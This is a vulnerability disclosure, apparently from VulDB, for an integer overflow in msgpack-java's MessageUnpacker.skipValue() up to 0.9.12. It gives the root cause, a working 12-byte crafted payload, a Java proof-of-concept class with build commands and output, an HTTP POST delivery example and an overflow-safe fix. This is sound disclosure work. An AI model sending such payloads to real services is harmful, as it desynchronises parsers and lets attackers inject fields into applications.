| Title | msgpack msgpack-java <= 0.9.12 Integer Overflow or Wraparound |
|---|
| Description | | Field | Value |
|-------|-------|
| Project | msgpack-java |
| Repository | https://github.com/msgpack/msgpack-java |
| Affected Version | <= 0.9.12 |
| Component | `msgpack-core` |
| Class | `org.msgpack.core.MessageUnpacker` |
| File | `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java` |
| Vulnerable Line(s) | 578–579 |
| Severity | Medium |
| CVSS 3.1 Score | Base Score: 6.5 (MEDIUM) `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` |
| CWE | CWE-190, CWE-20 |
---
## Vulnerability Description
`skipValue()` skips a value using a `count` variable (initialized to 1). For a MAP32 container (`0xdf`), it reads a 32-bit element count and multiplies by 2:
```java
// MessageUnpacker.java:578-579
case MAP32:
count += readNextLength32() * 2; // TODO check int overflow
break;
```
When `readNextLength32()` returns `0x40000000`:
```
0x40000000 * 2 = 0x80000000 = -2147483648 (Integer.MIN_VALUE)
count = 1 + (-2147483648) = -2147483647
```
`count` becomes negative, `while (count > 0)` is immediately false, and `skipValue()` returns without consuming the map body. The cursor stays right after the MAP32 header.
---
## Root Cause
`readNextLength32()` returns a signed `int`. Values ≥ `0x40000000` overflow when multiplied by 2 and produce a negative `count`. `while (count > 0)` exits silently and no exception is thrown. The `// TODO check int overflow` comment confirms the defect.
---
## Impact
Parser state desynchronization from a silent `skipValue()` failure. After the overflow, the map body is not consumed. A subsequent read from the same stream consumes bytes intended to be skipped.
Affected applications use `MessageUnpacker` directly and call `skipValue()` to skip unknown fields before reading later fields (forward-compatible RPC frameworks, game servers, IoT gateways). The Jackson integration (`MessagePackParser`) does not call `skipValue()` and is unaffected.
---
## Affected Code
```java
// MessageUnpacker.java (skipValue, lines 518-587)
private void skipValue(int count) throws IOException {
while (count > 0) {
byte b = readByte();
MessageFormat mf = MessageFormat.valueOf(b);
switch (mf) {
case MAP32:
count += readNextLength32() * 2; // TODO check int overflow ← LINE 579
break;
}
count--;
}
}
```
---
## Proof of Concept
**Environment:** OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54c).
**Payload (12 bytes):** `92 df 40 00 00 00 a5 70 77 6e 65 64`
```
Offset Hex Description
0x00 92 fixarray[2] - outer wrapper
0x01 df MAP32 format byte
0x02-05 40.. MAP32 size = 0x40000000
0x06 a5 fixstr(5)
0x07-0b 'p' 'w' 'n' 'e' 'd'
```
Test sequence: `unpackArrayHeader()` → `skipValue()` → `unpackValue()`. `skipValue()` returns with no exception, and the following `unpackValue()` reads `pwned`, confirming cursor desynchronization.
### POC Source
**File:** `poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java`
```java
package org.msgpack.poc;
import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ImmutableValue;
public class Poc2_MAP32_IntegerOverflow {
public static void run() throws Exception {
byte[] testPayload = buildSkipTestPayload();
try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(testPayload)) {
unpacker.unpackArrayHeader();
unpacker.skipValue();
if (unpacker.hasNext()) {
ImmutableValue nextVal = unpacker.unpackValue();
System.out.println("[VULNERABILITY CONFIRMED] Parser read injected data: " + nextVal);
}
}
}
// fixarray[2] { MAP32(size=0x40000000), fixstr "pwned" }
static byte[] buildSkipTestPayload() {
return new byte[]{
(byte) 0x92,
(byte) 0xdf, 0x40, 0x00, 0x00, 0x00,
(byte) 0xa5, 'p', 'w', 'n', 'e', 'd'
};
}
public static void main(String[] args) throws Exception {
run();
}
}
```
**Build & run:**
```bash
MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar
javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \
poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java
java --add-opens=java.base/java.nio=ALL-UNNAMED \
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED \
-cp "poc-project/target/classes:$MSGPACK_CORE" \
org.msgpack.poc.Poc2_MAP32_IntegerOverflow
```
### Verified Output
```
Array size: 2
Calling skipValue() on MAP32...
[RESULT] skipValue() returned WITHOUT properly skipping the MAP!
[VULNERABILITY CONFIRMED] Parser read injected data: pwned
readNextLength32() returns: 0x40000000 = 1073741824
* 2 = -2147483648 (0x80000000)
Result == Integer.MIN_VALUE: true
```
**Network vector:**
```
POST /api/msgpack HTTP/1.1
Content-Type: application/x-msgpack
Content-Length: 12
\x92\xdf\x40\x00\x00\x00\xa5pwned
```
---
## Remediation
Use overflow-safe arithmetic:
```java
case MAP32: {
long mapSize = readNextLength32();
long added = Math.multiplyExact(mapSize, 2L);
if (added > Integer.MAX_VALUE - count) {
throw new MessageSizeException("MAP32 size overflow", mapSize);
}
count = (int)(count + added);
break;
}
```
Apply the same fix to the ARRAY32 branch (line 573). MAP16 and ARRAY16 use `readNextLength16()` (max 65,535) and cannot overflow.
---
## References
- `msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java`, lines 578–579
- CWE-190: https://cwe.mitre.org/data/definitions/190.html
- CWE-20: https://cwe.mitre.org/data/definitions/20.html |
|---|
| Source | ⚠️ https://github.com/msgpack/msgpack-java/issues/1014 |
|---|
| User | wshi.24 (UID 98607) |
|---|
| Submission | 08/07/2026 09:47 (1 month ago) |
|---|
| Moderation | 09/13/2026 10:48 (1 month later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 403122 [msgpack msgpack-java up to 0.9.12 MessageUnpacker MessageUnpacker.skipValue integer overflow] |
|---|
| Points | 0 |
|---|